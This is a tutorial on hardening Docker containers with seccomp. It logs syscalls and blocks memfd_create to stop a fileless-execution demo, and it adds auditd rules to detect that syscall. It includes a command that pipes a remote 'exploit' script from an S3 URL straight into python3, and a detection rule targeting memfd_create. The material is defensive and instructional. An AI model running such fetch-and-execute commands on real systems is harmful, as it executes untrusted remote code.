Overview #
Syscalls (System Calls) #
-
Syscalls provide an interface between a user-space applications and the Linux kernel
-
Via syscalls an application can request a service from the operating system, for example, file operations like read & write
-
Syscalls interact directly with the kernel
User Space:
-
Where regular applications run
-
Must use syscalls to interact with the kernel for operations like file access, networking, or process control
Kernel Space::
- The core part of the operating system that has full control over the hardware and system resources
Seccomp (Secure Computing Mode) #
-
Seccomp is a Linux kernel security feature that controls process access to syscalls
-
It reduces the risk of exploits by blocking unnecessary syscalls
Seccomp Profiles #
-
A Seccomp profile defines allowed and denied syscalls
-
Syscalls can be allowed
SCMP_ACT_ALLOW
, logged and blockedSCMP_ACT_ERRNO
-
When a process tries to make a restricted syscall, Seccomp denies it based on the profile
memfd_create Syscall #
-
Provides a temporary file descriptor for applications that need to store data in memory without writing to disk
-
Helps avoid writing sensitive data to disk by keeping it in memory
-
Syscall ID 319
Syscalls: https://de.wikipedia.org/wiki/Liste_der_Linux-Systemaufrufe
Notes #
- This setup was tested with Ubuntu 22.04, 64-bit
Prerequisites #
Install Docker #
Installation script:
#!/bin/bash
# Install Docker and Docker Compose on Ubuntu
sudo apt-get update
sudo apt-get install \
ca-certificates \
curl \
gnupg \
lsb-release -y
sudo mkdir -p /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
$(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin -y
Add User to Docker Group #
# Add current user to Docker group
sudo usermod -aG docker $(whoami)
# Apply group membership / spawn new shell
newgrp docker
Create Working Directory #
# Create a working directory
sudo mkdir -p /opt/example-container-seccomp
cd /opt/example-container-seccomp
Python Container: Verify Exploit #
Create Seccomp Profile #
Create a Seccompt profile named “audit.json”:
sudo tee /opt/example-container-seccomp/audit.json > /dev/null << EOF
{
"defaultAction": "SCMP_ACT_LOG"
}
EOF
Profile Overview:
- Logs every syscall made inside the container
Run Python Container #
# Run a Python container
sudo docker run -d -it --rm \
--name fileless-container \
--read-only \
--security-opt seccomp=/opt/example-container-seccomp/audit.json \
python:3.9.1
-
-it
Start an interactive shell inside the container,i
keep STDIN open,-t
allocate a TTY -
--rm
Remove the container when stopped -
--read-only
Read-only file system -
--security-opt seccomp=audit.json
Path to Seccomp audit profile
Verify the container:
# List running containers
docker ps
# Shell output:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
47538fab5479 python:3.9.1 "python3" 3 minutes ago Up 3 minutes fileless-container
Optional: Start Journald Syscalls Monitoring #
# Follow which syscalls are executed: Filter logs for Seccomp events
sudo journalctl -f | grep audit
Run Example Exploit #
# Open container shell (In new terminal)
docker exec -it fileless-container /bin/bash
# Run exploit
curl -s https://sec4dev.s3.eu-central-1.amazonaws.com/output.py | python3
# Shell output:
You're hacked!
Journald: Verify Syscall #
# Grep for "syscall=319"
sudo journalctl | grep syscall=319
# Shell output:
Feb 12 10:15:02 ubnt-03 audit[4796]: SECCOMP auid=4294967295 uid=0 gid=0 ses=4294967295 subj=docker-default pid=4796 comm="python3" exe="/usr/local/bin/python3.9" sig=0 arch=c000003e syscall=319 compat=0 ip=0x7f3aceaaf347 code=0x7ffc0000
Stop & Delete Container #
# Stop & delete the container
docker stop fileless-container
Python Container: Prohibit Exploit #
Create Seccomp Profile #
Create a Seccompt profile named “audit.json”:
sudo tee /opt/example-container-seccomp/container-hardened.json > /dev/null << EOF
{
"defaultAction": "SCMP_ACT_LOG",
"syscalls": [
{
"names": ["memfd_create"],
"action": "SCMP_ACT_ERRNO"
}
]
}
EOF
Profile Overview:
defaultAction: "SCMP_ACT_LOG"
Logs every syscall made inside the container
# "syscalls" section:
"names": ["memfd_create"] # Targets the "memfd_create" syscall "319"
"action": "SCMP_ACT_ERRNO" # Return an error (EPERM - Permission Denied) when a process tries to use it
Run Python Container #
# Run a Python container
sudo docker run -d -it --rm \
--name fileless-container \
--read-only \
--security-opt seccomp=/opt/example-container-seccomp/container-hardened.json \
python:3.9.1
Verify the container:
# List running containers
docker ps
# Shell output:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
be8280193801 python:3.9.1 "python3" 5 seconds ago Up 4 seconds fileless-container
Run Example Exploit #
# Open container shell (In new terminal)
docker exec -it fileless-container /bin/bash
# Run exploit
curl -s https://sec4dev.s3.eu-central-1.amazonaws.com/output.py | python3
# Shell output:
Traceback (most recent call last):
File "<stdin>", line 9, in <module>
OSError: [Errno 9] Bad file descriptor
Journald: Verify Syscall #
Journald shows no now entries for “syscall=319”.
# Grep for "syscall=319"
sudo journalctl | grep syscall=319
Stop & Delete Container #
# Stop & delete the container
docker stop fileless-container
Optional: Auditd Monitoring #
Install Package #
- Install
auditd
package to monitor syscall activity
# Install auditd
sudo apt install -y auditd
# Verify installation
systemctl status auditd
Create Temporary Rule #
# Create an audit rule to track "memfd_create"
sudo auditctl -a always,exit -F arch=b64 -S memfd_create -k memfd_detect
-
-a always,exit
Logs every exit of the syscall -
-S memfd_create
Specifies the syscall to monitor -
-k memfd_detect
Adds filter tag “memfd_detect” for searching
Auditd: Verify Syscall #
# List Auditd logs with filter tag "memfd_detect"
sudo ausearch -k memfd_detect --start recent